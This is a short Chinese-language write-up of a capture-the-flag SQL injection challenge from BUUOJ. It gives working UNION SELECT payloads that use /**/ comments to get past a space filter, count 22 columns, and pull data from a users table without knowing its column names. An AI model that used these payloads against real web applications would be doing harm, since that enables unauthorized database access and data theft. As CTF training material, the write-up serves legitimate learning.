题目地址:https://buuoj.cn/challenges
解题思路
阴间题目,需要手动测试到22列,拜拜了您嘞,参考链接:点这里跳转
获取flag
-
使用union select 1,2,3可以看到过滤了空格,使unionselect合在了一起,可以使用/**/代替空格
-
使用
union/**/select/**/1,2,3,.....,22'
看到了回显
-
在使用union select查询不存在的数据时会构造查询的列名以及值满足查询要求,所以再不知道表明时,可以构造表名,查询出那一列的内容,以获取flag,构造:
1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
获取flag